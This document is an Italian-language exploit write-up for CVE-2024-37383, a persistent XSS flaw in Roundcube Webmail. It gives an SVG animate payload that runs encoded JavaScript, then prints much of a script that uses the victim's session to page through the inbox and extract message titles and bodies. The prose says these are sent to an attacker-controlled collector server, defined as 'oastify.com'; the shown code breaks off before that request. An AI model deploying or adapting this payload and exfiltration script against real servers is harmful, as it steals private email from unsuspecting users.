
Exploit per il server di posta Roundcube per CVE-2024-37383 (XSS persistente)
La vulnerabilità CVE-2024-37383 è stata scoperta nel client di posta elettronica Roundcube Webmail. Si tratta di una vulnerabilità XSS persistente che consente a un attaccante di eseguire codice JavaScript sulla pagina dell'utente. Per sfruttare la vulnerabilità, tutto ciò che l'attaccante deve fare è aprire un'email dannosa utilizzando una versione del client Roundcube precedente a 1.5.6 o da 1.6 a 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Questo codice automatizza il processo di recupero di tutti i messaggi della casella in arrivo da un server webmail Roundcube e l'invio di tali dati a un endpoint specifico del server del collaboratore.
L'URL principale della webmail (target) e l'URL del server ricevente (attackerserver) sono definiti come variabili all'inizio per una facile configurazione.
La funzione getPageCount invia una richiesta GET all'URL principale della webmail per recuperare i metadati, incluso il numero totale di pagine (pagecount). Se pagecount viene trovato, procede a iterare su ogni pagina.
Per ogni pagina da 1 a pagecount, costruisce un URL paginato per richiedere quella pagina. La risposta di ogni pagina viene controllata per le occorrenze di add_message_row(NUMBER) usando regex, estraendo gli ID dei messaggi da ogni occorrenza e raccogliendo tutti gli ID in una singola lista.
Per ogni ID messaggio, il codice costruisce un URL per richiedere i dati dettagliati di quel messaggio. Invia una richiesta GET per ogni URL ID messaggio, ricevendo l'HTML completo della risposta.
All'interno di ogni risposta del messaggio, usa regex per catturare il (titolo del messaggio) e il contenuto principale del messaggio. Eventuali tag HTML vengono rimossi dal contenuto del messaggio per mantenere solo il testo semplice.
Per ogni messaggio estratto, viene effettuata una richiesta POST all'endpoint del server con il titolo e il contenuto del messaggio pulito, codificati come URL per una corretta trasmissione.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";